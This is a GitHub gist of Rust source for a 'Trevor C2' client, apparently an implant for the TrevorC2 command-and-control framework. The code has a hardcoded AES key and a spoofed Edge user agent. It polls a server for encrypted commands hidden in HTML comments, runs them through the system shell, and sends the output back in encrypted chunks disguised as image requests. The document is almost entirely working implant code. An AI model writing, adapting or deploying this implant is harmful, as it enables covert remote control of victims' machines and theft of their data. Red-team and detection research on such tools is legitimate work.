Created
June 24, 2025 15:24
-
-
Save HackingLZ/f361ee20398faee1559e769ca000a0ac to your computer and use it in GitHub Desktop.
Trevor C2 Rust
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use aes::Aes256; | |
use base64; | |
use cbc::{Decryptor, Encryptor}; | |
use cbc::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit}; | |
use hostname; | |
use rand::{Rng, RngCore}; | |
use sha2::{Digest, Sha256}; | |
use std::env; | |
use std::io::Read; | |
use std::process::{Command, Stdio}; | |
use std::sync::Arc; | |
use std::{thread, time}; | |
use reqwest::blocking::Client; | |
use reqwest::cookie::Jar; | |
use reqwest::header::USER_AGENT; | |
const SITE_URL: &str = "http://127.0.0.1"; | |
const ROOT_PATH: &str = "/"; | |
const IMAGES_PATH: &str = "/images"; | |
const QUERY_KEY: &str = "guid"; | |
const STUB: &str = "oldcss="; | |
const MIN_INTERVAL: u64 = 2; | |
const MAX_INTERVAL: u64 = 8; | |
const CHUNK_SIZE: usize = 2_000; // bytes per chunk | |
const CIPHER_KEY: &str = "Tr3v0rC2R0x@nd1s@w350m3#TrevorForget"; | |
/// Microsoft Edge on Windows UA (Stable 137.0.3296.93 as of 2025-06-20) | |
const UA_STRING: &str = concat!( | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) ", | |
"AppleWebKit/537.36 (KHTML, like Gecko) ", | |
"Chrome/137.0.3296.93 Safari/537.36 ", | |
"Edg/137.0.3296.93" | |
); | |
fn sha256(data: &[u8]) -> [u8; 32] { | |
let mut h = Sha256::new(); | |
h.update(data); | |
h.finalize().into() | |
} | |
fn encrypt(raw: &str, key: &[u8]) -> String { | |
let mut iv = [0u8; 16]; | |
rand::thread_rng().fill_bytes(&mut iv); | |
let cipher = Encryptor::<Aes256>::new_from_slices(key, &iv).unwrap(); | |
let ct = cipher.encrypt_padded_vec_mut::<Pkcs7>(raw.as_bytes()); | |
let mut out = Vec::with_capacity(16 + ct.len()); | |
out.extend_from_slice(&iv); | |
out.extend_from_slice(&ct); | |
base64::encode(out) | |
} | |
fn decrypt(data: &str, key: &[u8]) -> Option<String> { | |
let decoded = base64::decode(data).ok()?; | |
if decoded.len() < 16 { return None; } | |
let (iv, ct) = decoded.split_at(16); | |
let cipher = Decryptor::<Aes256>::new_from_slices(key, iv).ok()?; | |
let pt = cipher.decrypt_padded_vec_mut::<Pkcs7>(ct).ok()?; | |
String::from_utf8(pt).ok() | |
} | |
fn random_interval() -> u64 { | |
rand::thread_rng().gen_range(MIN_INTERVAL..=MAX_INTERVAL) | |
} | |
fn connect_trevor(client: &Client, key: &[u8], hostname: &str) { | |
let url = format!("{}{}", SITE_URL, IMAGES_PATH); | |
loop { | |
let payload = encrypt(&format!("magic_hostname={}", hostname), key); | |
let wrapped = base64::encode(payload.as_bytes()); | |
if client | |
.get(&url) | |
.header(USER_AGENT, UA_STRING) | |
.query(&[(QUERY_KEY, wrapped.as_str())]) | |
.send() | |
.is_ok() | |
{ | |
break; | |
} | |
thread::sleep(time::Duration::from_secs(1)); | |
} | |
} | |
fn main() { | |
let hostname = hostname::get() | |
.unwrap_or_default() | |
.to_string_lossy() | |
.into_owned(); | |
let key = sha256(CIPHER_KEY.as_bytes()); | |
let jar = Jar::default(); | |
let client = Client::builder() | |
.cookie_provider(Arc::new(jar)) | |
.build() | |
.expect("failed to build HTTP client"); | |
let is_windows = cfg!(target_os = "windows"); | |
let shell_prog = if is_windows { | |
env::var("COMSPEC").unwrap_or_else(|_| "cmd".into()) | |
} else { | |
env::var("SHELL").unwrap_or_else(|_| "/bin/sh".into()) | |
}; | |
let shell_flag = if is_windows { "/C" } else { "-c" }; | |
connect_trevor(&client, &key, &hostname); | |
let root_url = format!("{}{}", SITE_URL, ROOT_PATH); | |
let images_url = format!("{}{}", SITE_URL, IMAGES_PATH); | |
loop { | |
let wait = random_interval(); | |
thread::sleep(time::Duration::from_secs(wait)); | |
let resp = match client | |
.get(&root_url) | |
.header(USER_AGENT, UA_STRING) | |
.send() | |
{ | |
Ok(r) => r, | |
Err(_) => { | |
connect_trevor(&client, &key, &hostname); | |
continue; | |
} | |
}; | |
let html = match resp.text() { | |
Ok(t) => t, | |
Err(_) => continue, | |
}; | |
if let Some(raw_stub) = html | |
.split(&format!("<!-- {}", STUB)) | |
.nth(1) | |
.and_then(|s| s.split("-->").next()) | |
{ | |
let part = raw_stub.trim(); | |
if let Some(parsed) = decrypt(part, &key) { | |
if parsed != "nothing" && parsed.contains(&hostname) { | |
if let Some(cmd) = parsed.split(&format!("{}::::", hostname)).nth(1) { | |
match Command::new(&shell_prog) | |
.arg(shell_flag) | |
.arg(cmd) | |
.stdout(Stdio::piped()) | |
.spawn() | |
{ | |
Ok(mut child) => { | |
let mut buf = Vec::new(); | |
if let Some(mut out) = child.stdout.take() { | |
out.read_to_end(&mut buf).unwrap(); | |
} | |
let _ = child.wait(); | |
let stdout = String::from_utf8_lossy(&buf); | |
let bytes = stdout.as_bytes(); | |
if bytes.is_empty() { | |
let enc = encrypt(&format!("{}::::", hostname), &key); | |
let wrapped = base64::encode(enc.as_bytes()); | |
let _ = client | |
.get(&images_url) | |
.header(USER_AGENT, UA_STRING) | |
.query(&[(QUERY_KEY, wrapped.as_str())]) | |
.send(); | |
} else { | |
let mut start = 0; | |
while start < bytes.len() { | |
let end = std::cmp::min(start + CHUNK_SIZE, bytes.len()); | |
let slice = &bytes[start..end]; | |
let slice_str = std::str::from_utf8(slice).unwrap_or(""); | |
let enc = encrypt(&format!("{}::::{}", hostname, slice_str), &key); | |
let wrapped = base64::encode(enc.as_bytes()); | |
let _ = client | |
.get(&images_url) | |
.header(USER_AGENT, UA_STRING) | |
.query(&[(QUERY_KEY, wrapped.as_str())]) | |
.send(); | |
start = end; | |
thread::sleep(time::Duration::from_millis(200)); | |
} | |
} | |
} | |
Err(e) => { | |
let err_payload = format!("{}::::[error executing: {}]", hostname, e); | |
let enc = encrypt(&err_payload, &key); | |
let wrapped = base64::encode(enc.as_bytes()); | |
let _ = client | |
.get(&images_url) | |
.header(USER_AGENT, UA_STRING) | |
.query(&[(QUERY_KEY, wrapped.as_str())]) | |
.send(); | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment